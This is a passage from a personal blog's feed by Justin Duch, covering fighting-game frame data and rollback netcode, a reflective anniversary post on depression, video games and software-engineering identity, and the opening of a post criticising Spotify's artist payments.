<p>Recovery frames are the number of frames it takes for the character to return to a neutral state where they can perform another action. So her <code class="prettyprint">5P</code> has 14 recovery frames, which means after the attack has finished there are 14 frames where you can't do anything. This is the part of the attack that leaves you wide-open if you whiffed the move, so as long as the opponent uses a move with a startup under 14 frames, you can't block the attack.</p>
<p>Next is "on-block" and "on-hit". This determines "frame advantage", which is who recovers first when a move hits (on-hit, causing hitstun) or is blocked (on-block, causing blockstun). For Bridget's <code class="prettyprint">5P</code>, both "on-hit" and "on-block" are "minus" frames. This means you will recover from the move slower than the opponent recovers from hitstun or blockstun.</p>
<p>So being -6 on-block effectively means that if the opponent blocked the attack, you have a 6 frame disadvantage on your next move. And if you wanted to immediately do another <code class="prettyprint">5P</code>, that 8 frame startup essentially becomes 14 frames instead (8 + 6). Now the opponent only needs a move that has a startup of lower than 14 frames to beat you.</p>
<p>Conversely, when we say a move has "plus frames," it means that after executing the move, you can act again before the opponent can. This situation occurs when the move's hitstun lasts longer than the recovery time of the move. Bridget's <code class="prettyprint">5K</code><span class="footnote-link" id="footnote-6"><sup>(6)</sup></span> is +1 on-hit, so if the move hits (isn't blocked), Bridget has a 1 frame advantage. Now if you wanted to <code class="prettyprint">5P</code> immediately after again, your 8 frame startup becomes 7 frames (6 - 1).<span class="footnote-link" id="footnote-7"><sup>(7)</sup></span></p>
<aside class="footnote-body" id="footnote-6-body"><sup>(6)</sup><span>"Neutral kick."</span></aside>
<aside class="footnote-body" id="footnote-7-body"><sup>(7)</sup><span>To clarify, this is if your opponent is also doing a move immediately after, the attack startup doesn't literally become faster, it's relative to what your opponent does.</span></aside>
<p>To beginners, fighting games appear to be continuous, action-packed exchanges between players. But what's interesting is that when analysed through the lens of frame data and the concept of plus and minus frames, it becomes apparent that fighting games actually involve a turn-based system hidden within their real-time mechanics.</p>
<p>When you execute a move that leaves them with frame advantage, you earn the "turn" to act before their opponent can react, allowing you to continue your offensive or apply pressure. On the other hand, being at a frame disadvantage means it's your opponent's turn to take action, potentially putting you on the defensive.</p>
<p>An important part of this is the "neutral game", where both players are neither distinctly on offence nor defence, which involves a tactical battle for the opportunity to take the turn. Players often use moves that are safe on block—those that leave the player at a neutral or slight disadvantage—to probe the opponent's defences without overcommitting, aiming to create an opening or elicit a mistake that leads to gaining frame advantage.</p>
<p>This turn-based dynamic creates serious strategic complexity. You need to be able to balance executing combos and defence with managing when to attack or defend, leveraging frame data to control the flow. High-level play involves using moves that are safe or alter frame advantage, thus dictating the pace. This system, blending turn-based strategy with real-time action, demands foresight and tactical planning, almost akin to traditional turn-based games but at a literally frame-perfect pace.</p>
<p>Dark Souls is another game that has this "turn based real-time" gameplay dynamic, but it's actually one of the things I hate about Souls-like games in general. I don't like having to wait for my turn, it's boring and just involves pressing the roll button at the right time. Fighting games solve this by speeding the turns up to only last a few seconds at most, and adding the additional complication of mind-games against your opponent.<span class="footnote-link" id="footnote-8"><sup>(8)</sup></span></p>
<aside class="footnote-body" id="footnote-8-body"><sup>(8)</sup><span>Something that isn't done that well in any Souls-like PvP mode.</span></aside>
<p>Now I don't think you need to memorise the frame data for every move every character has in a game, but you should at least memorise it for the moves your character does.</p>
<p>But still, it's fucking nuts.</p>
<p>I've never seen a game before where frames are <strong>this</strong> important.</p>
<p>In fact, they're so important that most modern fighting games these days include an indicator for online matches to tell you if your opponent is using a wired (Ethernet) or wireless (Wi-Fi) connection so you can <strong>discriminate</strong> against Wi-Fi users and decline having a match with them. THIS IS BUILT INTO THE GAME. IT WANTS YOU TO BE RACIST AGAINST WIFI USERS.</p>
<p>Okay, let's take a step back. Why do this?</p>
<p>For online play, modern fighting games use what's called "rollback netcode", which predicts the players' actions based on their most recent inputs, allowing the game to continue without waiting for the latest data from the other player. This prediction helps keep the game feeling responsive, even over imperfect Internet connections.</p>
<p>When new input data arrives from the other player and it doesn't match the prediction, the netcode "rolls back" to the correct state and updates the game. Normally, this correction happens so quickly that players often don't notice.</p>
<p>Basically, rollback netcode significantly reduces the perception of lag, so that players can execute moves and see reactions with minimal delay.</p>
<p>I recommend watching <a href="https://www.youtube.com/watch?v=0NLe4IpdS1w">"Analysis: Why Rollback Netcode Is Better"</a> by Core-A Gaming for a better explanation.</p>
<p>The problem with Wi-Fi connections is that they're less stable and more prone to interference than wired connections. This instability can lead to fluctuating ping times and packet loss.</p>
<p>Fighting games are games where <strong>every</strong> frame matters which means <strong>every</strong> frame needs to be synced across all players for the game to function correctly.</p>
<p>The inconsistencies of Wi-Fi generally lead to more frequent and noticeable rollbacks. I didn't believe it at first, that it would matter <strong>that</strong> much, but like… it does, holy shit it REALLY does. I don't like playing against Wi-Fi users, I decline to fight them now.</p>
<p>I've NEVER had to do this before in any other game, it's fucked up.</p>
<p>These games are fucked.</p>
<p>I love them.</p>
<h2 id="epilogue">Epilogue</h2>
<p>League of Legends ruined my life<span class="footnote-link" id="footnote-9"><sup>(9)</sup></span> and I quit that game in 2016, so I don't know anything about a lot of the characters now. But here's a list of characters I want in 2XKO (stupid name):</p>
<aside class="footnote-body" id="footnote-9-body"><sup>(9)</sup><span>Imagine how successful I could be if I didn't waste almost all of my high school years playing that game and was studying instead ;(</span></aside>
<ul>
<li>Teemo</li>
<li>Gnar</li>
<li>Kennen</li>
<li>Kha'Zix</li>
<li>Teemo</li>
<li>Ezreal</li>
<li>Zed</li>
<li>Lulu</li>
<li>TEEMO</li>
<li>Thresh</li>
<li>YOU BETTER PUT TEEMO IN THE GAME YOU FUCKING COWARDS</li>
</ul>
<p>This is basically just the list of characters I mained.<span class="footnote-link" id="footnote-10"><sup>(10)</sup></span></p>
<aside class="footnote-body" id="footnote-10-body"><sup>(10)</sup><span>And I've just realised it's mostly men, which is certainly interesting in some way. And very different to the characters I choose nowadays.</span></aside>
<p>Also they should add Tracer from Overwatch as a guest character thank you for coming to my TED Talk.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[They make websites]]></title>
        <id>https://justin.duch.me/post/ann_six</id>
        <link href="https://justin.duch.me/post/ann_six"/>
        <updated>2024-01-22T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>I've realised that a lot of people who aren't programmers don't really know what it is I actually do. Often times when I hear my parents try to explain my job to someone else, it'll be something like this:</p>
<blockquote>
  <p>He [sic] makes websites.</p>
</blockquote>
<p>This is a sure-fire way to offend me. So then I make the correction.</p>
<blockquote>
  <p>Um actually, I'm a software engineer.</p>
</blockquote>
<hr />
<p>This time of year (Dec to Jan) is normally a little difficult for me as it is always when seasonal depression starts to flare up.</p>
<p>Firstly, it's summer here in Australia. I hate warm weather because I hate sweating and not being able to wear more clothes. This also is the only reason I'm against climate change.</p>
<p>Secondly, it's the holidays, and everyone gets really happy about that. I don't like being around cheerful people, it just makes me more depressed.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span></p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>This is a "normal" thing for some sad people to feel, don't worry about it too much. I'm working on it. I think.</span></aside>
<p>Thankfully, I have the option to just lock myself in my apartment and play video games until I go back to work and distract myself with that.</p>
<p>But I've never been sure that this is a very healthy way of living, so last year, I tried going to Tasmania because it's the coldest place in the country and somewhat remote for Sydney standards.</p>
<p>That didn't work. You can still be depressed when climbing a mountain. Celeste lied to me.</p>
<p>So this year I went back to the tried and true method of ignoring basically everything, and finding a nice video game to play.</p>
<h2 id="part1kerbalspaceprogram2mademesuicidal">Part 1: Kerbal Space Program 2 Made Me Suicidal</h2>
<p>There's a certain type of game I tend to get extremely addicted to for a short period of time. I call them "games about jobs I think it would be cool to try."</p>
<p>These include games like Motorsport Manager, every Zachtronics game, Stellaris, City Skylines, and of course, the fabled <a href="/post/stardew_valley_made_me_suicidal">Stardew Valley.</a><span class="footnote-link" id="footnote-2"><sup>(2)</sup></span></p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>I don't know a single programmer who doesn't sometimes think about leaving all this shit behind and moving to a farm.</span></aside>
<p>The most recent addition is Kerbal Space Program 2, which I had recently heard became good after it's "For Science!" update on the 20th of December. Great timing for dealing with seasonal depression.</p>
<p>I was going to take the Steam store page blurb to explain what the game is if you didn't know. But I don't think it explains it very well if you didn't know about the first game, so I got our favourite chatbot to do it instead.<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span></p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>It also described the game assuming you knew what the first one was, so I had to tell it not to do that.</span></aside>
<blockquote>
  <p>"Kerbal Space Program 2" is a space flight simulation game where players design and launch spacecraft in a realistic aerospace environment. Players construct vehicles to explore planets and build space colonies, facing real-world space travel challenges. The game combines education and entertainment, teaching aerospace engineering and astrophysics in an immersive, graphically detailed universe.</p>
</blockquote>
<p>Look buddy, I don't know how to explain what the sheer euphoria of landing Penis Rocket MK-III<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span> on the Mun (Kerbal's version of the Moon) for the first time is like. But holy fuck. It's good stuff.</p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>Okay look, it's a game about building things. IT IS A REQUIREMENT to make a penis at least once. I'm probably not doing it ever again, I've realised that there a much better designs to be honest.</span></aside>
<p>I mean all it took was to get into orbit once, and two days later I had 15 hours in the game and just left for Duna (Kerbal's Mars).</p>
<p>I'm not entirely sure why I get so compelled by stuff like this. I don't think this is a Dark Souls situation where I'm attracted by the difficulty, because to be honest, it wasn't that hard.<span class="footnote-link" id="footnote-5"><sup>(5)</sup></span></p>
<aside class="footnote-body" id="footnote-5-body"><sup>(5)</sup><span>You heard it here first: Rocket science? "Not that hard."</span></aside>
<p>My best guess is that it's all the preparation, the planning, then the uncertainty of the execution. And when it's finally done, your little Kerbal jumps out of the spacecraft, plants a little flag on a rock far from their home, and then you think: "I did that."</p>
<p>I strapped my little buddy into a cylinder propelled by explosions and just fucking shot them into space, then used the gravitational mass of their own home to slingshot them towards a completely different planet millions of kilometres away.</p>
<p>I DID THAT.</p>
<p>AND THEY'RE NOT DEAD.</p>
<p>IF GOD EXISTS I MUST BE THEM.</p>
<p>It's just cool as shit.</p>
<p>Anyway, I said I get addicted to these for a <em>short</em> period of time. Well, as usual, the inevitable happens.</p>
<blockquote>
  <p>What the fuck am I doing with my life?</p>
</blockquote>
<p>I often start feeling guilty for even attempting any form of escapism when I could be working on any one of the multiple problems in my life right now.</p>
<p>Especially when one of those methods of escapism is kind of linked to one of my anxieties. Like yeah, making rockets is cool - but this is just pretend, it's not going to help me in life.</p>
<p>Because in real life, I make we-</p>
<h2 id="part2sometimestoconfirmthedifficultyofbeingaliveiconsiderthepossibilitythatimactuallyagirl">Part 2: Sometimes to confirm the difficulty of being alive, I consider the possibility that I'm actually a girl</h2>
<p>One of my first multi-month long programming projects was a search engine I made for my high school software class's major project. It's also one of the <a href="/post/how_do_you_write_a_search_engine">earliest things I've written</a> about on this blog.</p>
<p>I don't really remember what made me choose such an "ambitious" project. There wasn't really a need to try that hard when my classmates were making stuff like pomodoro timers instead.<span class="footnote-link" id="footnote-6"><sup>(6)</sup></span></p>
<aside class="footnote-body" id="footnote-6-body"><sup>(6)</sup><span>I guess that was just the difference between the rank 1 kid and the rest of the them. ¯\_(ツ)_/¯</span></aside>
<p>But I do know that this project may have been what determined the path of my life for the past seven years. I was basically trying to make Google, so I gained a lot of experience in making what I believed Google to be.</p>
<p>This experience then led me to getting my first job a few months later. That basically further solidified the path, and so here I am now, someone who argues with random people on the Internet on how best to do UI state management for a CRUD app.</p>
<p>Because the obvious answer to that is -</p>
<p>DON'T DO STATE MANAGEMENT IN YOUR UI.</p>
<p>FUCK YOUR JS FRAMEWORKS.</p>
<p>DO EVERYTHING ON THE BACKEND.</p>
<p>IN RUST.</p>
<p>…</p>
<p>Recently my boss sent this meme to me on Slack out of the blue, without any context.</p>
<p><img src="/img/frontend-goose.jpg" alt="meme with goose" /></p>
<p>Ah shit, he thinks I'm the goose doesn't he?</p>
<h2 id="interludecansimracingturnmeintothenextmaxverstappen">Interlude: Can sim-racing turn me into the next Max Verstappen?</h2>
<p>For the past few years I've been building out a nice little<span class="footnote-link" id="footnote-7"><sup>(7)</sup></span> sim rig for sim-racing. I don't actually sim-race that much, so it seems I've mostly been doing it just of out the joy of building and putting it together. It's kinda like doing Lego for me.</p>
<aside class="footnote-body" id="footnote-7-body"><sup>(7)</sup><span>By little, I mean costing thousands of dollars.</span></aside>
<p>But recently I've realised I have kind of ran out of things (that I could reasonably justify to myself) to upgrade. Everything on the rig is basically top of the line, and I don't really have the space required for the next "level" of upgrades, that being triple monitors and a motion simulator.</p>
<p>So it looks like I'm going to have to start "using" it now instead of just endlessly tinkering with it…</p>
<p>I'm normally into rally games but I've been trying to get into circuit racing with iRacing (the sim Max Verstappen seems to play a lot), which has made me come to a startling realisation.</p>
<p>I'm not very fast.</p>
<p>But that's okay! It's all about having fun isn't it?<span class="footnote-link" id="footnote-8"><sup>(8)</sup></span></p>
<aside class="footnote-body" id="footnote-8-body"><sup>(8)</sup><span>Well, I'm normally only happy when I win but w/e.</span></aside>
<p>I've also been recently trying out the "Low Fuel Motorsport" (LFM) community run service for Assetto Corsa (AC). It's basically a way of getting an iRacing like experience in AC. I generally prefer AC's driving physics and staying away from iPricing's egregious business model keeps my wallet happy.<span class="footnote-link" id="footnote-9"><sup>(9)</sup></span></p>
<aside class="footnote-body" id="footnote-9-body"><sup>(9)</sup><span>This is a very expensive hobby. But at least it's still cheaper than real motorsport.</span></aside>
<p>Also, they don't enforce a real name policy (you just need a name that <em>looks</em> real, not your actual one), which I prefer over letting random gamer dudes on iRacing know who I am.</p>
<p>And it lets me pretend I'm a girl.</p>
<p>So far, I've been enjoying it quite a bit - Uh, a propos Assetto Corsa that is. And apparently I'm much better at it than iRacing given I somehow have an Elo rating of 2100 which puts me in the top 2 percent of the playerbase. Not sure how that works since I'm around 1 to 1.5 seconds slower than the really fast drivers, but it probably has something to do with the fact that LFM doesn't have a very big userbase. The AC series only has around six thousand rated drivers, according to their website.</p>
<p>Wait, website?</p>
<h2 id="part3theymakewarcrimes">Part 3: They make war crimes</h2>
<p>The closest thing I've ever had to a "dream job"<span class="footnote-link" id="footnote-10"><sup>(10)</sup></span> is working at Valve (and <a href="https://oxide.computer/">Oxide</a> in recent years, but let's keep with Valve for now). I've never seen someone who works or once worked at Valve and didn't consider them an incredible engineer (or artist, but I don't have much of an authority on that). I read the <a href="https://cdn.cloudflare.steamstatic.com/apps/valve/Valve_NewEmployeeHandbook.pdf">employee handbook</a> when I was 15 and basically became a life long fanenby.</p>
<aside class="footnote-body" id="footnote-10-body"><sup>(10)</sup><span>I don't dream of doing labour.</span></aside>
<p>I know a lot of people see the lack of games coming from Valve as a sign of a <em>lazy</em> company, not really doing anything, and just coasting by with their cash cow that is Steam.</p>
<p>Valve, at least from what I see, isn't a video game company - they're an engineering company that is video game adjacent. That infinite money glitch they found with Steam has enable their ""flat"" company structure to just allow their employees do whatever they want. When you get a group of extremely passionate engineers (and artists) all the time and money they need, you have Valve and a guarantee that anything that comes out of the company will be the best of what anyone could have come up with.</p>
<p>I fanenby over them this hard, fully knowing that they <a href="https://www.youtube.com/watch?v=s9aCwCKgkLo">aren't a perfect company.</a><span class="footnote-link" id="footnote-11"><sup>(11)</sup></span></p>
<aside class="footnote-body" id="footnote-11-body"><sup>(11)</sup><span>Oxide might be though, which is why I'm not going to talk about them.</span></aside>
<p>I saw a Mastodon poll a while back that asked the question of if you'd rather work for Blizzard or Lockheed Martin. For me, that was an easy answer that I voted on almost immediately - Lockheed Martin. This isn't really a "if you <strong>HAD</strong> to work for one" situation, I'd probably be fine working for them out of my own free will. But thinking about it for a little more time, it seemed a little strange.</p>
<p>Lockheed Martin is a company (at least in part) responsible for the deaths of hundreds of thousands of people, they contribute to the "industrial military complex" like no other. Would I really choose them over a company that yes, treats it's employees very poorly but otherwise makes harmless entertainment? Not to undersell the shit Blizzard does, they're certainly one of the worst companies out there, but people use the things Lockheed Martin creates to LITERALLY KILL OTHER PEOPLE.</p>
<p>This section of the post has gone through many rewrites. And I'm telling you this because a previous draft had these lines.</p>
<blockquote>
  <p>Over the course of my life I've seen the tech industry most closely aligned with web development consistently introduce more exploitative, anti-consumer, emotionally manipulative bullshit year after year.</p>
  <p>I don't work in FAANG, and probably never will. My workplace doesn't do anything like this (yet), but even still, I feel kind of responsible just for even being near any of it.</p>
</blockquote>
<p>What!!?!?</p>
<p>How can I hold that opinion when I also think, and to quote three paragraphs ago.</p>
<blockquote>
  <p>I'd probably be fine working for [Lockheed Martin] out of my own free will.</p>
</blockquote>
<p>AM I JUST OKAY WITH WAR CRIMES?</p>
<p>No, I'm pretty sure I'm not actually okay with war crimes. I think. I wouldn't actually ever attempt to look for a job there (but that may be in large part due to me wanting to avoid working for big companies).</p>
<p>To me, the difference between Lockheed Martin and let's say - Google, is the <a href="https://en.wikipedia.org/wiki/Lockheed_F-117_Nighthawk">F-117</a>, the <a href="https://en.wikipedia.org/wiki/Lockheed_Martin_F-35_Lightning_II">F-35</a> - that is, basically anything that has come out of <a href="https://en.wikipedia.org/wiki/Skunk_Works">Skunk Works.</a> The difference is "Cool Engineering™".</p>
<p>There are few things in my life I desire more than "Building Cool Shit™" and being good at it.</p>
<p>Websites aren't cool.</p>
<p>And I'm embarrassed that people think I make them.</p>
<p>Which is kinda interesting because I think this website is cool, and I'm actually quite proud of the work I put into it (even though the vast majority of it is never seen by you). This also goes with a few things I've done in my many years of work as well.</p>
<p>So I don't really understand what's going on. I appear to be a giant ball of contradictions.</p>
<p>According to a person who's opinion I often take to become my own, <a href="https://jakelazaroff.com/words/the-website-vs-web-app-dichotomy-doesnt-exist/">"The Website vs. Web App Dichotomy Doesn't Exist"</a> and yeah, I'd largely agree with that statement and with what the author says in the post. I was thinking that my confusion came from this categorisation, that there's a certain subsection of Internet connected web-based services I find "cool" and "uncool".</p>
<p>It doesn't seem like that's the case though, and the things I think are "cool" on the Internet don't seem to be correlated in that way.</p>
<p>I've gotten like six pieces of fan-mail since this blog went online. They'll say things like, "I enjoy reading your blog", "it inspired me to write my own", and maybe a question to clear up something I said in a post. Every single time I've received one was a "OH MY BIDOOF PEOPLE READ THIS FUCKING WEBSITE???" moment.</p>
<p>I genuinely believe that this blog is the most useful thing I've ever made. The fact that people find value in <em>this</em> astounds me.</p>
<p>I know even with how much I like what I've done, that making weird nginx modules that can change the background colour of a page just to avoid using JS, and writing fucked Rust programs to create your own DNS nameservers aren't actually all that interesting or difficult of engineering challenges. But it still feels really nice to know someone is getting something out of this.</p>
<p>I've always said that this blog is for <strong>me</strong>. And… that hasn't changed, it's still and always will be for <strong>me</strong>. But I guess I can share it with you too :3</p>
<p>Maybe I don't just want Cool Engineering™ but Useful Engineering™.</p>
<h2 id="epilogue">Epilogue</h2>
<p>Solipsism is a young enby's game and I'm honestly not sure how much longer posts like these can keep coming out. Not saying I'm getting old, but every year before starting to write a new one of these, I re-read the previous years starting from the Stardew Valley one. Every time I do this, I'm always surprised about how <em>vulnerable</em> they are.</p>
<p>I don't particularly understand why I am comfortable writing all this out in public, especially under my real name. It does not feel like something anyone who knows me (including myself) would expect me to ever do.</p>
<p>Like if you asked me in real life how I was going, the best you're probably going to get is a picture of a red panda, either scared<span class="footnote-link" id="footnote-12"><sup>(12)</sup></span> or sleepy. This is honestly one of my biggest mysteries. I dunno, maybe the day I figure out what lets me write this will enable me to figure out a bunch of other stuff about my mental space. It probably won't, but it's a nice thought.</p>
<aside class="footnote-body" id="footnote-12-body"><sup>(12)</sup><span>As in, doing the cute red panda thing of standing on two legs with their arms above their head to appear more "menacing" when they feel threatened. Look it up, it's adorable.</span></aside>
<p>Either way, these yearly posts may need to stop being about <em>this</em>, especially with how infrequently I post now, I don't want this blog to just be about depression or some shit.</p>
<p>But I don't want to stop the "postes d'aniversaire", so I'll think of something else to write about. Since these come out in (late) January, it's probably still okay to do a "year in review" sort of thing like with what I see other people do.</p>
<p>I don't really know though, those sort of posts - and I mean this in the most inoffensive way possible to those that do it - are just a bit <em>lazy</em> for what I want on this blog. I don't want to just recount the crap I've done and seen.</p>
<p>Though I guess I kinda did that on last year's post, but there was a "narrative" reason for that… Okay maybe I'm just too pretentious, let's try it out a mini version of that right now and see how I feel about it.</p>
<h2 id="epilogue2electricboogaloo">Epilogue 2: Electric Boogaloo</h2>
<p>I've been writing and deleting drafts about things I've done and seen the past year for the last 30 minutes. I don't know how to do this in an interesting way. But I promised you I would do it, so I'm <strong>going to do it</strong>. In quick and easy bullet point form.</p>
<ul>
<li>Video games that came out last year, in descending order of most liked. Ones I didn't like or didn't finish (if they have an ending) aren't included.<ul>
<li>Chants of Sennaar - "This game caused me to memorize the grammar structure on how to call someone an idiot in a fictional language rather than study for my finals next week." - Steam reviewer.</li>
<li>Hi-Fi Rush - I think this game was specifically made for me.</li>
<li>ARMORED CORE VI - Big robot fly, shoot gun, and talk to imaginary girlfriend.</li>
<li>Slay The Princess - I can fix her.</li>
<li>Kerbal Space Program 2 - You already know what this is.</li>
<li>Cyberpunk 2077: Phantom Liberty - It's good now. Yes, I'm counting this as released this year, it's basically a new game. Well, not really, but this is MY list.</li>
<li>Legend of Zelda: Tears of the Kingdom - Didn't fix any of the problems with BOTW, but made the good parts even better. Would be so much better on actually good hardware though.</li>
<li>Street Fighter 6 - There will probably be a post about this at some point.</li>
<li>Bomb Rush Cyberfunk - Cool skateboard (and other human powered methods of transportation) game, great music.</li>
<li>Rusted Moss - Any game with a grappling hook is good.</li>
<li>Honkai: Star Rail - <a href="/post/hsr_gacha">Kafka</a> and now Ruan Mei (pictured) are my new mums.
<img src="/img/ruanmei.jpg" alt="ruan mei" /> <a href="https://twitter.com/_nyeppu/status/1742251924798480687">Source: nyeppu</a></li>
<li>Mosa Lina - Very well designed puzzle game that doesn't feel like it was designed at all.</li>
<li>EA SPORTS WRC - Kinda disappointing, but it's still a rally game, and rally is intrinsically fun.</li>
<li>OTXO - If Hotline Miami was good. Yeah, that'll get some bites for sure.</li>
<li>Graze Counter GM - Pretty good shmup, I like the graze mechanic, but I only play shmups with Sakuya (pictured) in them (not a joke, only reason I haven't played Ikaruga or ZeroRanger much). <img src="/img/sakuya.jpg" alt="sakuya" /> <a href="https://www.pixiv.net/en/artworks/99508251">Source: モ誰</a></li>
<li>Risk of Rain Returns - I didn't really like going to 3D in Risk of Rain 2, so I'll gladly take a game that's just the original Risk of Rain but with more stuff.</li>
<li>Cities Skylines II - Good, but needs more time in the oven. In a similar place to where KSP 2 was before the update.</li>
<li>Turbo Overkill - Every time I play one of these movement shooters I just start thinking: "I can't wait until ULTRAKILL is finished."</li>
<li>Touhou Juuouen ~ Unfinished Dream of All Living Ghost. - No Sakuya, didn't play much.</li></ul></li>
<li>Video games (misc). Video games are the only form of media I know how to critically think about, so they're the ones I spend the most time with/can talk about the most.<ul>
<li>Furina (pictured) almost made me start playing Genshin Impact. But I don't know how long it will take a new player to get to Fontaine, and I can't really be bothered. Just wish she had a French accent though, that'd be nice :( <img src="/img/furina.jpg" alt="furina" /> <a href="https://www.pixiv.net/en/artworks/111208887">Source: 雨傘ゆん</a></li>
<li>I played Assassin's Creed Unity before going to Paris. I like the game version more (less cars). No but actually, it's an incredible recreation and is the closest thing I'll ever get to seeing the Notre Dame. The game itself wasn't that good (but I've never liked an Assassin's Creed game before, so maybe my opinion is invalid).</li>
<li>I also played Steelrising but there wasn't a French voice-over language option (EVEN THOUGH THE GAME IS MADE BY THE FRENCH), so I didn't get far in that game. Was pretty good though, but that's probably because every time a historical person was introduced I could go: "HEY I KNOW THAT PERSON!!" Although with almost every person involved with the French Revolution being an old white dude, it was hard for me to tell the characters apart during cut-scenes, so it's good they included people like <a href="https://en.wikipedia.org/wiki/Julien_Raimond">Julien Raimond</a> because he was basically the only person I could recognise without the subtitles telling me who he was. But at some point I just became sick of hearing their English accents and had to stop.</li>
<li>Lies of P is not French enough, so I also didn't get far in that game. I could excuse the game for not having a French voice-over because it's made by Koreans, but when I get told the game is "French Bloodborne with a femboy" I expect FRANCE. Delivered on the femboy front though.</li></ul></li>
<li>Anime.<ul>
<li>Frieren: Beyond Journey's End - She (Frieren (pictured)) is just like me frfr. <img src="/img/frieren.jpg" alt="frieren sleepy" /> <a href="https://www.pixiv.net/en/artworks/112950827">Source: yadon</a></li></ul></li>
<li>Books.<ul>
<li><del>I don't read books.</del> I didn't read anything that was published last year.</li></ul></li>
</ul>
<p>I'm going to ignore that and break format for a bit because I actually really want to talk about <a href="https://www.amazon.com.au/dp/1796356301">The Fifth Science</a> by exurb1a of the YouTube channel <a href="https://www.youtube.com/@Exurb1a">"exurb1a."</a> Originally I was a little apprehensive about it because it's written by a "YouTuber", but I'm glad I gave it a try, because it's <em>really fucking good.</em></p>
<p>In 2020,<span class="footnote-link" id="footnote-13"><sup>(13)</sup></span> I made a series of two posts: <a href="/post/chatbot_panpsychism">"« My Favourite Shows Are Supernatural, And Star Trek TNG »"</a> and <a href="/post/cells_at_work">"An Anime Made Me Rethink My Entire View On Cognition."</a> If you are even remotely interested in the ideas I put forward in those posts, you will like the book. It's a great work of speculative science fiction.</p>
<aside class="footnote-body" id="footnote-13-body"><sup>(13)</sup><span>Just one year after the book was published. I definitely would have enjoyed the book even more back then with this stuff fresh in my head.</span></aside>
<p>I wouldn't say every short story in there is a masterpiece, some did make me roll my eyes. But there were enough good ones and some <strong>very</strong> good ones to keep me engaged.</p>
<ul>
<li>Holiday in Europe.<ul>
<li>France<ul>
<li>Paris - Certainly one of the cities of the world.</li>
<li>Le Mans - Spent a day at a nice race car museum.</li>
<li>Dijon - Rented a Ferrari to drive at a race track. Sim-racing has not turned me into the next Max Verstappen. Yet.</li></ul></li>
<li>Belguim<ul>
<li>Liège - Went to go watch the F1 race (my first one in person). Was feeling a bit sick and spent all day walking and standing in the rain just to get a glimpse of race cars for two seconds every two minutes. Fucking great experience, would do it again.</li></ul></li>
<li>Germany<ul>
<li>Oopie, turns out I (pictured) had the rona. And walking 12 km every day for 3 days straight probably made it a lot worse than it should have been. Felt okay during F1, but the day after it ended I was basically bed-ridden. Remaining time here was a complete fever dream and I don't remember anything. That's okay though, I don't give a shit about Germany. I got everything I wanted out of the holiday once I stopped hearing people speak French. <img src="/img/etobleh.jpeg" alt="eto bleh" /></li></ul></li></ul></li>
<li>Blog.<ul>
<li>Started work on the next interesting project. Will probably take a while to come out because it requires me to know smart stuff and I am bit dumb.</li>
<li>Since the entire time this blog has been alive, I've kept all ideas for posts in my head under the assumption that if I forgot them, they weren't very good to begin with. But thinking about it now, with how the blog doesn't take up the same amount of space in my brain as it used to, I believe I've been forgetting more post ideas than I should be which may be a reason for why I only had 6 posts last year. So I've just opened a text file and dumped all the ideas I could think of right now for future reference. Maybe it will help.</li></ul></li>
<li>Life.<ul>
<li>Completely settled into my apartment, but my sim-rig has started to talk to me at night. It yearns for more space. I think I need another bedroom to put all my computer shit in. May start looking to buy a new place next year when I've saved up for another deposit.</li>
<li>I've learnt that I get too scared to deal with cockroaches. I think I should get a boyfriend.</li>
<li>My French teacher seems to get slightly less disappointed in me whenever we meet now. This is good I think.</li></ul></li>
</ul>
<p>I didn't mind doing this, it was actually kinda fun recapping everything but I don't think it makes for an interesting read, so I still don't really know if I should do it in the future. We'll see.</p>
<p>Okie that's all, bye bye!</p>
<hr />
<p>Oh Bidoof, I forgot that I still have to write that <em>Bocchi The Rock!</em> post I meant to do last year.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[You Should Stop Using Spotify]]></title>
        <id>https://justin.duch.me/post/spotify</id>
        <link href="https://justin.duch.me/post/spotify"/>
        <updated>2023-11-30T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Spotify has fostered a music-distribution model that is singularly hostile to the interests of working musicians. While being the largest music streaming service in the world, it is the one of the worst paying, with roughly <a href="https://producerhive.com/music-marketing-tips/streaming-royalties-breakdown/">0.3 cents for each stream,</a> translating to approximately three dollars for every thousand streams.</p>
<p>A company whose entire business depends on the work thousands of artists, compensates them with basically nothing <a href="https://www.stereogum.com/2240332/spotify-reportedly-plans-to-pay-even-less-in-royalties-to-less-popular-artists/news/">(and has plans to make it even worse).</a> All while their CEO invests millions into <a href="https://www.vice.com/en/article/epxxkn/musicians-are-dragging-spotifys-ceo-for-funding-a-military-ai-company">military AI companies.</a></p>
<p>Spotify does not care about artists.</p>
<p>The rest of the post hinges on this argument. If you're wondering why you should care how much artists get paid, I don't believe I can convince you, and you should probably just close the tab and not waste your time. If you're even asking that, then I think that we're fundamentally different people who won't be able to agree on values. I don't know how to tell you that it's good to care about others.</p>
<p>I don't normally like telling people what they should spend their money on, I generally like to respect people's opinion on why they choose to do business with a company they know is morally bankrupt and actively making the world worse. Sometimes there just is no alternative, and even if there is, no matter where you go, in all likelihood - someone, somewhere down the supply chain is getting exploited. That's just how the world is right now.</p>
<p>However, this is not one of those times. There are many alternatives. Pretty much all of them more ethical just by virtue of actually paying artists.</p>
<p>I'm here to tell you that you won't miss anything by leaving Spotify.</p>
<hr />
<p>We're going to go through a comparison of streaming services that I've personally used over the years.</p>
<ul>
<li><a href="https://spotify.com">Spotify</a> (2014-2019)</li>
<li><a href="https://music.apple.com">Apple Music</a> (2019-2023)</li>
<li><a href="https://tidal.com/">Tidal</a> (early 2023-present)</li>
<li><a href="https://www.qobuz.com">Qobuz</a> (late 2023-present)</li>
</ul>
<p>I don't actually really <em>use</em> Qobuz in the same sense that I <em>use</em> Tidal, so I'll skip it for now and return back to it later.</p>
